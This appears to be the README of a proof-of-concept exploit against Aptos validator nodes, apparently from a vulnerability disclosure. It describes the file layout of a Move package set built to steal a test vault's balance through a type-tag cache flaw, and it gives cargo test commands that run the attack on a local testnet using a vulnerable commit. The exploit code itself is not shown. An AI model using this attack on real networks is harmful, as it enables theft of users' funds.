PoC comes with two versions:

• 3 validators setup that can run on a commodity hardware (MacBook Pro)
• 30 validators setup that should be ran on well-provisioned server(s)

The PoC files should be placed in Aptos nodes codebase under any vulnerable commit version (e.g. tag:1.41.5)

File Layout

poc/
  e2e_attack/
    victim/sources/vault.move          # Target contract: holds a VaultState with 1,000,000 balance
    attacker/sources/toucher.move      # Touch module: loads VaultState into TTC at target epoch
    attacker/sources/pad.move          # Padding structs to control struct-name-index positioning
    exploit_pkg/sources/exploit.move   # 95 StolenState variants + steal entry functions
    organic_pkg/sources/organic.move   # Simulated organic traffic (counter increments)

testsuite/smoke-test/src/aptos/ty_tag_exploit_e2e.rs   # Full E2E test harness
types/src/block_executor/config.rs                      # Module interning threshold config

Running the Test

ulimit -n 65535 # this probably will be needed to run 3/30 nodes on one machine under high pressure
# Basic run with defaults (works on most machines):
cargo test -p smoke-test -- test_ty_tag_full_attack --nocapture

# Do dry-run calibration (test will run 2-3x longer)
ATTACK_WARMUP= ATTACK_INFLATE= ATTACK_STEAL= \
  cargo test -p smoke-test -- test_ty_tag_full_attack --nocapture

# With diagnostics enabled for easier debug (writes per-validator cache logs to /tmp) -- this will need to add small logger code into node, I can provide the snippets if needed:
ATTACK_DIAG=1 cargo test -p smoke-test -- test_ty_tag_full_attack --nocapture